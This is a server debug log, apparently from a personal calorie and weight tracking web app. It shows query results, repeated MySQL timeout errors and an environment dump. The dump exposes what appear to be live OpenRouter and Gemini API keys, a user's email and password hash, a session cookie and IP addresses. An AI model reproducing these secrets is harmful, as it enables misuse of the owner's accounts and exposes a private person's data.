      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-24T16:45:47.400Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '2088',
    surplus_or_deficit: '312',
    status_flag: 1
  },
  {
    intake_date: 2025-12-17T18:30:00.000Z,
    total_consumed: '1668',
    surplus_or_deficit: '732',
    status_flag: 2
  },
  {
    intake_date: 2025-12-18T18:30:00.000Z,
    total_consumed: '2115',
    surplus_or_deficit: '285',
    status_flag: 1
  },
  {
    intake_date: 2025-12-19T18:30:00.000Z,
    total_consumed: '1575',
    surplus_or_deficit: '825',
    status_flag: 2
  },
  {
    intake_date: 2025-12-20T18:30:00.000Z,
    total_consumed: '972',
    surplus_or_deficit: '1428',
    status_flag: 2
  },
  {
    intake_date: 2025-12-21T18:30:00.000Z,
    total_consumed: '1325',
    surplus_or_deficit: '1075',
    status_flag: 2
  },
  {
    intake_date: 2025-12-22T18:30:00.000Z,
    total_consumed: '1052',
    surplus_or_deficit: '1348',
    status_flag: 2
  },
  {
    intake_date: 2025-12-23T18:30:00.000Z,
    total_consumed: '950',
    surplus_or_deficit: '1450',
    status_flag: 2
  }
]
2025-12-24T16:45:47.400Z server-connect:app Executing action step single
2025-12-24T16:45:47.400Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'health_weight_trackor' },
    joins: [],
    orders: [ [Object] ],
    query: 'select `weight`, `date` from `health_weight_trackor` order by `created_on` DESC'
  }
}
2025-12-24T16:45:47.401Z server-connect:output current_weight: { weight: '69.70', date: '2025-12-23T18:30:00.000Z' }
2025-12-24T16:45:48.100Z server-connect:app Executing action step identify
2025-12-24T16:45:48.100Z server-connect:app options: { provider: 'security' }
2025-12-24T16:45:48.101Z server-connect:output identity: 1
2025-12-24T16:45:56.350Z server-connect:app Executing action step identify
2025-12-24T16:45:56.350Z server-connect:app options: { provider: 'security' }
2025-12-24T16:45:56.350Z server-connect:output identity: 1
2025-12-24T16:48:46.153Z server-connect:app Executing action step identify
2025-12-24T16:48:46.153Z server-connect:app options: { provider: 'security' }
2025-12-24T16:48:46.153Z server-connect:output identity: 1
2025-12-24T16:48:50.768Z server-connect:app Executing action step identify
2025-12-24T16:48:50.769Z server-connect:app options: { provider: 'security' }
2025-12-24T16:48:50.769Z server-connect:output identity: 1
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-24 17:14:58' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-24 17:14:58' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-24 18:50:58' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-24 18:50:58' as DATETIME)"
}
Error: connect ECONNREFUSED 65.21.215.19:3306
    at TCPConnectWrap.afterConnect [as oncomplete] (node:net:1637:16) {
  errno: -111,
  code: 'ECONNREFUSED',
  syscall: 'connect',
  address: '65.21.215.19',
  port: 3306,
  fatal: true
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-24 22:06:18' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-24 22:06:18' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-24 23:30:59' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-24 23:30:59' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-25 01:19:59' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-25 01:19:59' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-25 02:44:59' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-25 02:44:59' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-25 03:19:59' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-25 03:19:59' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-25 03:31:19' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-25 03:31:19' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-25 04:34:59' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-25 04:34:59' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-25 06:33:00' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-25 06:33:00' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-25 08:59:00' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-25 08:59:00' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-25 09:15:00' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-25 09:15:00' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-25 10:36:20' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-25 10:36:20' as DATETIME)"
}
2025-12-25T10:45:12.050Z server-connect:router Serving templateView /
2025-12-25T10:45:12.052Z server-connect:app Executing action step identify
2025-12-25T10:45:12.052Z server-connect:app options: { provider: 'security' }
2025-12-25T10:45:12.102Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2025-12-25T10:45:12.104Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2025-12-25T10:45:12.156Z server-connect:output identity: 1
2025-12-25T10:45:12.156Z server-connect:app Executing action step restrict
2025-12-25T10:45:12.156Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-25T10:45:12.157Z server-connect:output restrict: undefined
2025-12-25T10:45:12.157Z server-connect:app Executing action step restrict
2025-12-25T10:45:12.157Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-25T10:45:12.157Z server-connect:output restrict: undefined
2025-12-25T10:45:12.157Z server-connect:router Render template layouts/main
2025-12-25T10:45:12.157Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"macOS"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    'sec-purpose': 'prefetch;prerender',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AUcZynkQaBcinfd6c8LWexQ%3D%3D.pUHSHvyZiGoVnj7LwqpjvrhDuEKW4qnU3t4u6SZrJYqeq5VzEnw2Xfj0%2FgMJ3gw624NbWwH0FswxUlJcosN11qmgCk%2FP7I5wyaZGGfhZ4WZJMW6pyfD%2BUB2FEssSTdCtBVmkKJtdeQxWBW%2BL54VnKp7gQVB5SOt%2BZPq75yMtNXI%3D.gQF4D%2Fv%2Fmj2pU55wk28S6DlbNlSkSMEKhmpD5zakkzg',
    'x-forwarded-for': '49.43.180.83',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-26T10:45:12.050Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.83',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
